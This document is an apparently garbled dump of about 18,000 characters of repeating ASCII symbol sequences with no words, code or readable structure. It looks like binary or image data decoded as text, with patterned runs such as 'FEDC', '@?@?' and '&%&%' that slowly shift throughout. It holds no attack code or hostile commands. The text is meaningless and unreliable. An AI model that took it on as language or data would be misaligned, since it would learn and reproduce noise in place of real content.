FEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCBABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopooooooooopoponmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutststststsrqrqrqrqrqrqrqopopopoppoponmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSSSSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:98787878787878765656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghgfefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9877777788787877765656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9787878787778787865656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9787878787878787865656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:9787878787878787865656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqopopopoonmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9787878787878787865656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqoooopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSSSSSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9787878787878787865656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{zyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijihghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTSSSSSTSTRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9787877777878787865656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababa`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPOPONMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9778787877777778765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWVUVUVUVUSTSTSTSTSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqpopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqpopopooopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqooopopoppoooooopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSSSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmlklklklklklkjijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSSSSTSTSSTSSSSSSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787777765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvutststststsrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcbabababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:9:9777778788787878765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABA@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878786565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878786565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%&%&%&%&%~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqoooooopoopopoooonmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSSSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878786565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%&%&%&%&%~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqpopopopooopopoponmnmnmnmnmnmlklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSSSSSSTSSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878786565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!                - - - - - - - - &%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!                - - - - - - - - &%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!                - - - - - - - - &%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!                - - - - - - - - &%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - &%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!                - - - - &%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!                - - - - &%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!                - - - - &%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!              - - - - &%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!            - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!           - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!         - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!                - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!                - - - - - - - - LLKKJJII))**++,,aa``__^^(())**++NNMMLLKK%%&&''((ttssrrqq UUVVWWXXDDCCBBAA!!""##$$xxwwvvuuQQRRSSTTHHGGFFEE ||{{zzyyMMNNOOPP33221100IIJJKKLL0//..--,::;;<<==__^^]]\\ jjkkllmm//..--,,66778899ccbbaa``ffgghhii3322110022334455ggffeeddbbccddeeccddeeffOOPPQQRRJJIIHHGG~~}}||{{KKLLMMNNNNMMLLKK{{||}}~~GGHHIIJJRRQQPPOOwwxxyyzz||{{zzyy}}~~onnmmllkddeeffgg5544332200112233iihhggff``aabbcc99887766,,--..//mmllkkjj \\]]^^__==<<;;::(())**++bbaa``__!!""ZYYXWVUTyyzz{{|| EEFFGGHHTTSSRRQQuuvvwwxx$$##""!!AABBCCDDXXWWVVUU HHGGFFEE--..//00]]\\[[ZZ,,--..//JJIIHHGG))**++,,ppoonnmm - - YYZZ[[\\@@??>>==%%&&''((ttssrrqq UUVVWWXXDDCCBBAA!!""##$$xxwwvvuuQQRRSSTT//..--,,MMNNOOPP,++**))(>>??@@AA[[ZZYYXX - - nnooppqq++**))((::;;<<==__^^]]\\ jjkkllmm//..--,,66778899ccbbaa``ffgghhiigghhiijjSSTTUUVVFFEEDDCC !!""zzyyxxwwOOPPQQRRJJIIHHGG~~}}||{{KKLLMMNNNNMMLLKK{{||}}~~xxwwvvuu - - kjjiihhghhiijjkk1100//..44556677eeddccbbddeeffgg5544332200112233iihhggff``aabbcc99887766,,--..//^^]]\\[[##$$%%&&SSRRQQPP}}~~~~}}IIJJKKLLPPOONNMMyyzz{{|| EEFFGGHHTTSSRRQQDDCCBBAA11223344YYSSRRQQ00112233FFEEDDCC--..//00llkkjjii]]^^__``<<;;::99))**++,,ppoonnmm - - YYZZ[[\\@@??>>==%%&&''((ttssrrqq UUVVWWXX++**))((QQRRSSYY(''&&%%$BBCCDDEEWWVVUUTTrrssttuu''&&%%$$>>??@@AA[[ZZYYXX - - nnooppqq++**))((::;;<<==__^^]]\\ jjkkllmmkkllmmnn~~}}||{{ WWXXYYZZBBAA@@??##$$%%&&vvuuttssSSTTUUVVFFEEDDCC !!""zzyyxxwwOOPPQQRRJJIIHHGGoonnmmll gffeeddc - - llmmnnoo--,,++**8899::;;aa``__^^hhiijjkk1100//..44556677eeddccbbddeeffgg5544332200112233ZZYYSSRR''(())**OONNMMLL ||{{zzyyMMNNOOPPLLKKJJII}}~~~~}}IIJJKKLLPPOONNMM@@??>>==55667788PPOONNMM44556677BBAA@@??11223344hhggffeeaabbccdd88776655--..//00llkkjjii]]^^__``<<;;::99))**++,,ppoonnmm - - YYZZ[[\\''&&%%$$ZZ[[\\]]$##""!! FFGGHHIISSRRQQPPvvwwxxyy##""!! BBCCDDEEWWVVUUTTrrssttuu''&&%%$$>>??@@AA[[ZZYYXX - - nnooppqq - -oouuvvwwzzyyxxww - - [[\\]]^^>>==<<;;''(())**rrqqppoo WWXXYYZZBBAA@@??##$$%%&&vvuuttssSSTTUUVVFFEEDDCC !!""kkjjiihhcbbaa``_ ppqqrrss))((''&&<<==>>??]]\\[[ZZ - - llmmnnoo--,,++**8899::;;aa``__^^hhiijjkk1100//..44556677QQPPOONN++,,--..KKJJIIHH!!""##$$xxwwvvuuQQRRSSTTHHGGFFEE ||{{zzyyMMNNOOPPLLKKJJII<<;;::9999::;;<>??@@>>==<;:955667788ddccbbaaeeffgghh4433221111223344hhggffeeaabbccdd88776655--..//00llkkjjii]]^^__``##""!!^^__``aaJJKKLLMMOONNMMLLzz{{||}}FFGGHHIISSRRQQPPvvwwxxyy##""!! BBCCDDEEWWVVUUTTrrssttuu~~ xxyyzz{{vvuutsrq__``aabb::998877++,,--..nnmmllkk - - [[\\]]^^>>==<<;;''(())**rrqqppoo WWXXYYZZBBAA@@??##$$%%&&ggffeedd_^^]]\\[ttuuvvww%%$$##""@@AABBCCYYXXWWVV ppqqrrss))((''&&<<==>>??]]\\[[ZZ - - llmmnnoo--,,++**8899::;;MMLLKKJJ//001122GGFFEEDD%%&&''((ttssrrqq UUVVWWXXDDCCBBAA!!""##$$xxwwvvuuQQRRSSTTHHGGFFEE 